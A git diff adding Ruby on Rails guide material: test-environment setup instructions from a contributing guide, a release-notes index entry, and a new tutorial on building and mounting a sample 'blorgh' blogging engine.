+* [Pro Git](http://git-scm.com/book) is an entire book about Git with a Creative Commons license.
+
+### Clone the Ruby on Rails Repository
+
+Navigate to the folder where you want the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:
+
+```bash
+$ git clone git://github.com/rails/rails.git
+$ cd rails
+```
+
+### Set up and Run the Tests
+
+The test suite must pass with any submitted code. No matter whether you are writing a new patch, or evaluating someone else's, you need to be able to run the tests.
+
+Install first libxml2 and libxslt together with their development files for Nokogiri. In Ubuntu that's
+
+```bash
+$ sudo apt-get install libxml2 libxml2-dev libxslt1-dev
+```
+
+If you are on Fedora or CentOS, you can run
+
+```bash
+$ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel
+```
+
+If you have any problems with these libraries, you should install them manually compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) .
+
+Also, SQLite3 and its development files for the `sqlite3-ruby` gem -- in Ubuntu you're done with just
+
+```bash
+$ sudo apt-get install sqlite3 libsqlite3-dev
+```
+
+And if you are on Fedora or CentOS, you're done with
+
+```bash
+$ sudo yum install sqlite3 sqlite3-devel
+```
+
+Get a recent version of [Bundler](http://gembundler.com/:)
+
+```bash
+$ gem install bundler
+$ gem update bundler
+```
+
+and run:
+
+```bash
+$ bundle install --without db
+```
+
+This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with:
+
+```bash
+$ bundle exec rake test
+```
+
+You can also run tests for a specific component, like Action Pack, by going into its directory and executing the same command:
+
+```bash
+$ cd actionpack
+$ bundle exec rake test
+```
+
+If you want to run the tests located in a specific directory use the `TEST_DIR` environment variable. For example, this will run the tests of the `railties/test/generators` directory only:
+
+```bash
+$ cd railties
+$ TEST_DIR=generators bundle exec rake test
+```
+
+You can run any single test separately too:
+
+```bash
+$ cd actionpack
+$ bundle exec ruby -Itest test/template/form_helper_test.rb
+```
+
+### Active Record Setup
+
+The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them.
+
+WARNING: If you're working with Active Record code, you _must_ ensure that the tests pass for at least MySQL, PostgreSQL, and SQLite3. Subtle differences between the various adapters have been behind the rejection of many patches that looked OK when tested only against MySQL.
+
+#### Database Configuration
+
+The Active Record test suite requires a custom config file: `activerecord/test/config.yml`. An example is provided in `activerecord/test/config.example.yml` which can be copied and used as needed for your environment.
+
+#### MySQL and PostgreSQL
+
+To be able to run the suite for MySQL and PostgreSQL we need their gems. Install first the servers, their client libraries, and their development files. In Ubuntu just run
+
+```bash
+$ sudo apt-get install mysql-server libmysqlclient15-dev
+$ sudo apt-get install postgresql postgresql-client postgresql-contrib libpq-dev
+```
+
+On Fedora or CentOS, just run:
+
+```bash
+$ sudo yum install mysql-server mysql-devel
+$ sudo yum install postgresql-server postgresql-devel
+```
+
+After that run:
+
+```bash
+$ rm .bundle/config
+$ bundle install
+```
+
+We need first to delete `.bundle/config` because Bundler remembers in that file that we didn't want to install the "db" group (alternatively you can edit the file).
+
+In order to be able to run the test suite against MySQL you need to create a user named `rails` with privileges on the test databases:
+
+```bash
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
+ to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
+ to 'rails'@'localhost';
+```
+
+and create the test databases:
+
+```bash
+$ cd activerecord
+$ bundle exec rake mysql:build_databases
+```
+
+PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account
+
+```bash
+$ sudo -u postgres createuser --superuser $USER
+```
+
+and then create the test databases with
+
+```bash
+$ cd activerecord
+$ bundle exec rake postgresql:build_databases
+```
+
+NOTE: Using the rake task to create the test databases ensures they have the correct character set and collation.
+
+NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator".
+
+If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails.
diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml
index 2acdcca39c..0b22423798 100644
--- a/guides/source/documents.yaml
+++ b/guides/source/documents.yaml
@@ -146,6 +146,10 @@
work_in_progress: true
description: This guide helps in upgrading applications to latest Ruby on Rails versions.
-
+ name: Ruby on Rails 4.0 Release Notes
+ url: 4_0_release_notes.html
+ description: Release notes for Rails 4.0.
+ -
name: Ruby on Rails 3.2 Release Notes
url: 3_2_release_notes.html
description: Release notes for Rails 3.2.
diff --git a/guides/source/engines.md b/guides/source/engines.md
new file mode 100644
index 0000000000..6d2d8ca409
--- /dev/null
+++ b/guides/source/engines.md
@@ -0,0 +1,911 @@
+Getting Started with Engines
+============================
+
+In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide:
+
+* What makes an engine
+* How to generate an engine
+* Building features for the engine
+* Hooking the engine into an application
+* Overriding engine functionality in the application
+
+--------------------------------------------------------------------------------
+
+What are engines?
+-----------------
+
+Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behaviour from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing, just with very minor differences, as you'll see throughout this guide. Engines and applications also share a common structure.
+
+Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
+
+It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
+
+To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/resolve/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+
+Generating an engine
+--------------------
+
+To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the `--full` and `--mountable` options. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
+
+```bash
+$ rails plugin new blorgh --full --mountable
+```
+
+The full list of options for the plugin generator may be seen by typing:
+
+```bash
+$ rails plugin --help
+```
+
+The `--full` option tells the plugin generator that you want to create an engine, creating the basic directory structure of an engine by providing things such as an `app` directory and a `config/routes.rb` file. This generator also provides a file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file.
+
+The `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy`. It does this by placing this line into the dummy application's routes file at `test/dummy/config/routes.rb`:
+
+```ruby
+mount Blorgh::Engine, :at => "blorgh"
+```
+
+### Inside an engine
+
+#### Critical files
+
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:
+
+```ruby
+gem 'blorgh', :path => "vendor/engines/blorgh"
+```
+
+By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.
+
+```ruby
+require "blorgh/engine"
+
+module Blorgh
+end
+```
+
+TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+
+Within `lib/blorgh/engine.rb` is the base class for the engine:
+
+```ruby
+module Blorgh
+ class Engine < Rails::Engine
+ isolate_namespace Blorgh
+ end
+end
+```
+
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers.
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
+
+#### `app` directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
+
+NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.
+
+Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.
+
+If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
+
+#### `script` directory
+
+This directory contains one file, `script/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+
+```bash
+rails g model
+```
+
+Keeping in mind, of course, that anything generated with these commands inside an engine that has `isolate_namespace` inside the `Engine` class will be namespaced.
+
+#### `test` directory
+
+The `test` directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at `test/dummy`. This application will mount the engine in the `test/dummy/config/routes.rb` file:
+
+```ruby
+Rails.application.routes.draw do
+ mount Blorgh::Engine => "/blorgh"
+end
+```
+
+This line mounts the engine at the path `/blorgh`, which will make it accessible through the application only at that path.
+
+Also in the test directory is the `test/integration` directory, where integration tests for the engine should be placed. Other directories can be created in the `test` directory also. For example, you may wish to create a `test/unit` directory for your unit tests.
+
+Providing engine functionality
+------------------------------
+
+The engine that this guide covers provides posting and commenting functionality and follows a similar thread to the [Getting Started Guide](getting_started.html), with some new twists.
+
+### Generating a post resource
+
+The first thing to generate for a blog engine is the `Post` model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+
+```bash
+$ rails generate scaffold post title:string text:text
+```
+
+This command will output this information:
+
+```
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_posts.rb
+create app/models/blorgh/post.rb
+invoke test_unit
+create test/unit/blorgh/post_test.rb
+create test/fixtures/blorgh/posts.yml
+ route resources :posts
+invoke scaffold_controller
+create app/controllers/blorgh/posts_controller.rb
+invoke erb
+create app/views/blorgh/posts
+create app/views/blorgh/posts/index.html.erb
+create app/views/blorgh/posts/edit.html.erb
+create app/views/blorgh/posts/show.html.erb
+create app/views/blorgh/posts/new.html.erb
+create app/views/blorgh/posts/_form.html.erb
+invoke test_unit
+create test/functional/blorgh/posts_controller_test.rb
+invoke helper
+create app/helpers/blorgh/posts_helper.rb
+invoke test_unit
+create test/unit/helpers/blorgh/posts_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/posts.js
+invoke css
+create app/assets/stylesheets/blorgh/posts.css
+invoke css
+create app/assets/stylesheets/scaffold.css
+```
+
+The first thing that the scaffold generator does is invoke the `active_record` generator, which generates a migration and a model for the resource. Note here, however, that the migration is called `create_blorgh_posts` rather than the usual `create_posts`. This is due to the `isolate_namespace` method called in the `Blorgh::Engine` class's definition. The model here is also namespaced, being placed at `app/models/blorgh/post.rb` rather than `app/models/post.rb` due to the `isolate_namespace` call within the `Engine` class.
+
+Next, the `test_unit` generator is invoked for this model, generating a unit test at `test/unit/blorgh/post_test.rb` (rather than `test/unit/post_test.rb`) and a fixture at `test/fixtures/blorgh/posts.yml` (rather than `test/fixtures/posts.yml`).
+
+After that, a line for the resource is inserted into the `config/routes.rb` file for the engine. This line is simply `resources :posts`, turning the `config/routes.rb` file for the engine into this:
+
+```ruby
+Blorgh::Engine.routes.draw do
+ resources :posts
+end
+```
+
+Note here that the routes are drawn upon the `Blorgh::Engine` object rather than the `YourApp::Application` class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the [test directory](#test-directory) section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the [Routes](#routes) section of this guide.
+
+Next, the `scaffold_controller` generator is invoked, generating a controller called `Blorgh::PostsController` (at `app/controllers/blorgh/posts_controller.rb`) and its related views at `app/views/blorgh/posts`. This generator also generates a functional test for the controller (`test/functional/blorgh/posts_controller_test.rb`) and a helper (`app/helpers/blorgh/posts_controller.rb`).
+
+Everything this generator has created is neatly namespaced. The controller's class is defined within the `Blorgh` module:
+
+```ruby
+module Blorgh
+ class PostsController < ApplicationController
+ ...
+ end
+end
+```
+
+NOTE: The `ApplicationController` class being inherited from here is the `Blorgh::ApplicationController`, not an application's `ApplicationController`.
+
+The helper inside `app/helpers/blorgh/posts_helper.rb` is also namespaced:
+
+```ruby
+module Blorgh
+ class PostsHelper
+ ...
+ end
+end
+```
+
+This helps prevent conflicts with any other engine or application that may have a post resource also.
+
+Finally, two files that are the assets for this resource are generated, `app/assets/javascripts/blorgh/posts.js` and `app/assets/javascripts/blorgh/posts.css`. You'll see how to use these a little later.
+
+By default, the scaffold styling is not applied to the engine as the engine's layout file, `app/views/blorgh/application.html.erb` doesn't load it. To make this apply, insert this line into the `<head>` tag of this layout:
+
+```erb
+<%= stylesheet_link_tag "scaffold" %>
+```
+
+You can see what the engine has so far by running `rake db:migrate` at the root of our engine to run the migration generated by the scaffold generator, and then running `rails server` in `test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+
+If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`.
+
+```ruby
+>> Blorgh::Post.find(1)
+=> #<Blorgh::Post id: 1 ...>
+```
+
+One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine:
+
+```ruby
+root :to => "posts#index"
+```
+
+Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now.
+
+### Generating a comments resource
+
+Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+
+Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column.
+
+```bash
+$ rails generate model Comment post_id:integer text:text
+```
+
+This will output the following:
+
+```
+invoke active_record
+create db/migrate/[timestamp]_create_blorgh_comments.rb
+create app/models/blorgh/comment.rb
+invoke test_unit
+create test/unit/blorgh/comment_test.rb
+create test/fixtures/blorgh/comments.yml
+```
+
+This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`.
+
+To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link:
+
+```html+erb
+<h3>Comments</h3>
+<%= render @post.comments %>
+```
+
+This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model:
+
+```ruby
+has_many :comments
+```
+
+Turning the model into this:
+
+```ruby
+module Blorgh
+ class Post < ActiveRecord::Base
+ has_many :comments
+ end
+end
+```
+
+NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here.
+
+Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`:
+
+```erb
+<%= render "blorgh/comments/form" %>
+```
+
+Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial:
+
+```html+erb
+<h3>New comment</h3>
+<%= form_for [@post, @post.comments.build] do |f| %>
+ <p>
+ <%= f.label :text %><br />
+ <%= f.text_area :text %>
+ </p>
+ <%= f.submit %>
+<% end %>
+```
+
+When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines:
+
+```ruby
+resources :posts do
+ resources :comments
+end
+```
+
+This creates a nested route for the comments, which is what the form requires.
+
+The route now exists, but the controller that this route goes to does not. To create it, run this command:
+
+```bash
+$ rails g controller comments
+```
+
+This will generate the following things:
+
+```
+create app/controllers/blorgh/comments_controller.rb
+invoke erb
+ exist app/views/blorgh/comments
+invoke test_unit
+create test/functional/blorgh/comments_controller_test.rb
+invoke helper
+create app/helpers/blorgh/comments_helper.rb
+invoke test_unit
+create test/unit/helpers/blorgh/comments_helper_test.rb
+invoke assets
+invoke js
+create app/assets/javascripts/blorgh/comments.js
+invoke css
+create app/assets/stylesheets/blorgh/comments.css
+```
+
+The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`:
+
+```ruby
+def create
+ @post = Post.find(params[:post_id])
+ @comment = @post.comments.create(params[:comment])
+ flash[:notice] = "Comment has been created!"
+ redirect_to post_path
+end
+```
+
+This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+
+```
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
+ * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
+ * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+```
+
+The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class.
+
+This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it:
+
+```erb
+<%= comment_counter + 1 %>. <%= comment.text %>
+```
+
+The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+
+That completes the comment function of the blogging engine. Now it's time to use it within an application.
+
+Hooking into an application
+---------------------------
+
+Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine.
+
+### Mounting the engine
+
+First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this:
+
+```bash
+$ rails new unicorn
+```
+
+Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+
+```ruby
+gem 'devise'
+```
+
+However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`:
+
+```ruby
+gem 'blorgh', :path => "/path/to/blorgh"
+```
+
+As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine.
+
+To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file:
+
+```ruby
+mount Blorgh::Engine, :at => "/blog"
+```
+
+This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`.
+
+NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+
+### Engine setup
+
+The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+
+```bash
+$ rake blorgh:install:migrations
+```
+
+If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead:
+
+```bash
+$ rake railties:install:migrations
+```
+
+This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+
+```bash
+Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
+```
+
+The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+
+To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+
+If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`:
+
+```bash
+rake db:migrate SCOPE=blorgh
+```
+
+This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+
+```bash
+rake db:migrate SCOPE=blorgh VERSION=0
+```
+
+### Using a class provided by the application
+
+#### Using a model provided by the application
+
+When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense.
+
+A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class.
+
+To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application:
+
+```bash
+rails g model user name:string
+```
+
+The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use.
+
+Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it.
+
+First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code:
+
+```html+erb
+<div class="field">
+ <%= f.label :author_name %><br />
+ <%= f.text_field :author_name %>
+</div>
+```
+
+The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it.
+
+To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being.
+
+```ruby
+attr_accessor :author_name
+belongs_to :author, :class_name => "User"
+
+before_save :set_author
+
+private
+ def set_author
+ self.author = User.find_or_create_by_name(author_name)
+ end
+```
+
+By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table.
+
+To generate this new column, run this command within the engine:
+
+```bash
+$ rails g migration add_author_id_to_blorgh_posts author_id:integer
+```
+
+NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+
+This migration will need to be run on the application. To do that, it must first be copied using this command:
+
+```bash
+$ rake blorgh:install:migrations
+```
+
+Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+
+```
+NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
+NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
+Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+```
+
+Run this migration using this command:
+
+```bash
+$ rake db:migrate
+```
+
+Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the `users` table -- with a post, represented by the `blorgh_posts` table from the engine.
+
+Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`:
+
+```html+erb
+<p>
+ <b>Author:</b>
+ <%= @post.author %>
+</p>
+```
+
+By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly:
+
+```
+#<User:0x00000100ccb3b0>
+```
+
+This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application:
+
+```ruby
+def to_s
+ name
+end
+```
+
+Now instead of the ugly Ruby object output the author's name will be displayed.
+
+#### Using a controller provided by the application
+
+Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like:
+
+```ruby
+class Blorgh::ApplicationController < ApplicationController
+end
+```
+
+By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application.
+
+This change does require that the engine is run from a Rails application that has an `ApplicationController`.
+
+### Configuring an engine
+
+This section covers how to make the `User` class configurable, followed by general configuration tips for the engine.
+
+#### Setting configuration settings in the application
+
+The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `user_class` that will be used to specify what the class representing users is inside the application.
+
+To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line:
+
+```ruby
+mattr_accessor :user_class
+```
+
+This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.user_class`.
+
+The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this:
+
+```ruby
+belongs_to :author, :class_name => Blorgh.user_class
+```
+
+The `set_author` method also located in this class should also use this class:
+
+```ruby
+self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name)
+```
+
+To save having to call `constantize` on the `user_class` result all the time, you could instead just override the `user_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result:
+
+```ruby
+def self.user_class
+ @@user_class.constantize
+end
+```
+
+This would then turn the above code for `set_author` into this:
+
+```ruby
+self.author = Blorgh.user_class.find_or_create_by_name(author_name)
+```
+
+Resulting in something a little shorter, and more implicit in its behaviour. The `user_class` method should always return a `Class` object.
+
+To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+
+Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it:
+
+```ruby
+Blorgh.user_class = "User"
+```
+
+WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on.
+
+Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is.
+
+There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by_name` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+
+#### General engine configuration
+
+Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+
+If you wish to use an initializer -- code that should run before the engine is loaded -- the place for it is the `config/initializers` folder. This directory's functionality is explained in the [Initializers section](http://guides.rubyonrails.org/configuring.html#initializers) of the Configuring guide, and works precisely the same way as the `config/initializers` directory inside an application. Same goes for if you want to use a standard initializer.
+
+For locales, simply place the locale files in the `config/locales` directory, just like you would in an application.
+
+Testing an engine
+-----------------
+
+When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine.
+
